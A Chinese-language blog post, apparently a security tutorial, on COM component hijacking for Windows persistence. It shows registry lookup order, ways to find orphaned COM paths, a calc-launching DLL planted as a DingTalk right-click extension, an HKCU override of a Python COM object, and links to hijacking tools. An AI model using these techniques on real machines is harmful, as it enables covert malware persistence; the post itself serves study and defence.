COM组件劫持

COM组件劫持

实现原理

COM是Component Object Model (组件对象模型)。是Windows上的一个系统,可以通过操作系统实现软件组件之间的交互,它是开发软件组件的一种方法。

组件实际上是一些小的二进制可执行程序,它们可以给应用程序,操作系统以及其他组件提供服务。开发自定义的COM组件就如同开发动态的,面向对象的API

细节

关于CLSID

typedef struct _GUID { 
 DWORD Data1; // 随机数 
 WORD Data2; // 和时间相关 
 WORD Data3; // 和时间相关 
 BYTE Data4[8]; // 和网卡MAC相关 
} GUID;

typedef GUID CLSID;  // 组件ID 
typedef GUID IID;    // 接口ID 
#define REFCLSID const CLSID &

// 常见的声明和赋值方法 
CLSID CLSID_Excel = {0x00024500,0x0000,0x0000,{0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46}}; 
struct __declspec(uuid("00024500-0000-0000-C000-000000000046")) CLSID_Excel; 
class DECLSPEC_UUID("00024500-0000-0000-C000-000000000046") CLSID_Excel; 
// 注册表中的表示方法 
{00024500-0000-0000-C000-000000000046}

简单的来说,就是代表COM组件中的类,可以使用python来生成一个CLSID:

import pythoncom
pythoncom.CreateGuid()

Windows系统中应用程序读取COM注册表信息的顺序如下:

HKEY_CURRENT_USERSoftwareClassesCLSID
HKEY_CLASSES_ROOTCLSID
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionShellCompatibilityObjects

而一般进行劫持时最好使用不需要提升特权的HKCU而是尽量选取HKCR

劫持原理
通过劫持COM引用和关系在合法软件中插入恶意代码,达成持久化目标。劫持COM对象需要修改Windows注册表,替换某个合法系统组件的引用,该操作可能导致该组件无法正常执行。当系统组件通过正常系统调用执行时,攻击者的代码就会被执行。攻击者可能会劫持频繁使用的对象,以维持一定程度的持久化驻留,但不大会破坏系统内的常见功能,避免系统出现不稳定状态导致攻击行为被发现。

实现方法

一种常见的COM劫持方法是,将恶意DLL或者EXE文件放置到废弃的COM组件引用路径中。当COM组件通过正常系统调用执行时,攻击者的恶意代码就会被执行。该方法也是本文主要讨论的。

当使用这种方法时:

  • 1.枚举所有LocalServer32和InprocServer32值(路径)
  • 2.标准化二进制路径以删除参数等信息
  • 3.验证二进制路径是否存在并定位丢失的文件

当某些软件注册COM组件在卸载时未及时清楚注册表中的组件,便可以通过在该注册路径上直接写入对应COM组件的恶意DLL文件,并且得知其CLSID后:

rundll32.exe -sta {CLSID}
- or -
rundll32.exe -sta ProgID

基于这种思路,可以利用脚本https://github.com/earthmanET/COM-Hijacker 用于枚举可能存在COM劫持的LocalServer32/InprocServer32值

当发现有废弃的COM组件需要调用一个可读可写的路径中的DLL时,而该DLL并不存在,此时我们就可以在该路径中植入恶意的DLL,这样当该组件被调用是就会执行恶意DLL实现权限维持

upload_550ed851d50d6b6c0034873fb5292c66

我们发现edge和dingding都存在废弃的组件,并且调用了对应的动态链接库,这里还需要引入两个概念:

InprocServer32和LocalServer32(以及InprocServer和LocalServer)键值是COM服务(例如DLL、CPL、EXE和OCX)的引用点,这里简单理解为LocalServer32可以看成是可执行文件的路径,而InprocServer32则是调用的共享链接库DLL等路径

upload_33b20917ac99321c61b13496c4ec42aa

可以看到的确不存在该DLL,我们尝试通过VScode创建一个DLL,并且调用弹出计算器

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include "stdio.h"
#include "stdlib.h"
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        system("calc.exe");
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

当生成完成后,我们会发现右击任意文件都会弹出计算器:

upload_c58928beb77008c9fca756aa4cea4681

找寻原因后发现:

upload_7ef124f7f067f71341d6ffca63005217

而我们找到该废弃COM组件加载的也是Shell Extension,即右键扩展,因此相当于劫持了钉钉的右键扩展,而操作文件时会触发钉钉的右键扩展,因此实现了右击劫持

另一种常见的方法是在程序读取注册表信息中的DLL或者EXE功能的路径上,做一个拦截,让程序提前读取我们的设置好的恶意DLL或者EXE。COM劫持原理在某种程度上近似于DLL劫持。

可以使用Process Monitor来发现缺少CLSID且不需要提升特权(HKCU)的COM服务器。可以使用以下过滤器配置过程监视器:

- 1.操作是RegOpenKey
- 2.结果是NAME NOT FOUND
- 3.路径以InprocServer32结尾
- 4.排除路径是否以HKLM开头

upload_78549ddccd2a8d50674741d570a6c531

可以看到在加载默认一个路径时,显示的为未找到,但是在第二个默认路径中,是找到的。

那我们只需要把劫持的文件路径注册到第一个默认表中,即可。
再次调用时就会优先调用劫持的文件路径实现COM劫持

这里以一个例子作为案例进行分析:
首先使用Python注册一个COM组件,实现的内容就是对两个数进行加法运算:

# coding = utf-8
import pythoncom

CLSID = pythoncom.CreateGuid()

class addDemo(object):
    _public_methods_ = ['AddNumber']
    _reg_progid_ = "Crispr.AddNumber"
    _reg_clsid_ = CLSID

    def AddNumber(self, number1, number2):
        number1 = number1 + number2
        return number1

if __name__ == '__main__':
    print("Registering COM Server")
    import win32com.server.register
    win32com.server.register.UseCommandLine(addDemo)

运行注册到注册表中

upload_77b054eed02fb065fc6370888207adaf

在注册表中寻找该CLSID可以看到在注册表中已经注册了该COM组件:

upload_aef98655d40a303fbc15ec691d7d329d

将该条注册表进行导出:

Windows Registry Editor Version 5.00

[HKEY_CLASSES_ROOTCLSID{B920852B-61B8-4E51-B364-B8BF0951D093}]
@="Crispr.AddNumber"

[HKEY_CLASSES_ROOTCLSID{B920852B-61B8-4E51-B364-B8BF0951D093}Debugging]
@="0"

[HKEY_CLASSES_ROOTCLSID{B920852B-61B8-4E51-B364-B8BF0951D093}Implemented Categories]

[HKEY_CLASSES_ROOTCLSID{B920852B-61B8-4E51-B364-B8BF0951D093}Implemented Categories{B3EF80D0-68E2-11D0-A689-00C04FD658FF}]

[HKEY_CLASSES_ROOTCLSID{B920852B-61B8-4E51-B364-B8BF0951D093}InprocServer32]
"ThreadingModel"="both"
@="pythoncomloader27.dll"

[HKEY_CLASSES_ROOTCLSID{B920852B-61B8-4E51-B364-B8BF0951D093}LocalServer32]
@="C:\PYTHON~1\pythonw.exe "C:\PYTHON~1\lib\site-packages\win32com\server\localserver.py" {B920852B-61B8-4E51-B364-B8BF0951D093}"

[HKEY_CLASSES_ROOTCLSID{B920852B-61B8-4E51-B364-B8BF0951D093}ProgID]
@="Crispr.AddNumber"

[HKEY_CLASSES_ROOTCLSID{B920852B-61B8-4E51-B364-B8BF0951D093}PythonCOM]
@="addCom.addDemo"

[HKEY_CLASSES_ROOTCLSID{B920852B-61B8-4E51-B364-B8BF0951D093}PythonCOMPath]
@="C:\Users\86189\Desktop\learn python\Windows"

可以看到由于是Python,通过 pythoncomloader27.dllpythonw.exe 来解释加载写好的COM组件的Crispr.AddNumber类函数功能。

upload_666866fe90f8384f93929629e640c546

在这里我们通过Process Monitor来看下该程序实际读取注册表的顺序关系:

upload_5b270b0742969b2eb8006adb29a1592e

可以看到程序会优先从HKCUSoftwareClassesCLSID中加载,而结果是NAME NOT FOUND这就意味着该注册表项是没有值的,故此,这个就是一个可以劫持的过程。我们只需要把需要劫持的相关路径注册到第一行中,等程序再次加载时,就会达到劫持效果。

因此这种方法的思路就是可以劫持第一个默认表,这里我们为了演示方便直接在注册表中进行修改:

upload_347059a017fa3e68c79b9abe486f0e15

可以看到指向D:根目录,我们在D盘根目录创建一个同样的文件,但是把类方法的加号改成了乘号,并且调用os弹出计算器
同样运行python2 testcom.py后发现的确将加法改成了乘法,并且出现计算器实现了劫持

upload_1cf269a3bf14640bb17dc85d35ca2d29

一些工具

https://github.com/nccgroup/acCOMplice
https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/master/Get-ScheduledTaskComHandler.ps1
https://github.com/earthmanET/COM-Hijacker/blob/main/COM-Hijacker.ps1
https://github.com/3gstudent/COM-Object-hijacking/blob/master/COM%20Object%20hijacking%20persistence.ps1


参考:
http://sh1yan.top/2019/06/29/Principle-and-Practice-of-COM-Component-Hijacking/

https://www.4hou.com/posts/Mo51

https://earthmanet.github.io/posts/2021/02/%E6%BB%A5%E7%94%A8comcom%E7%BB%84%E4%BB%B6%E5%8A%AB%E6%8C%81/

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇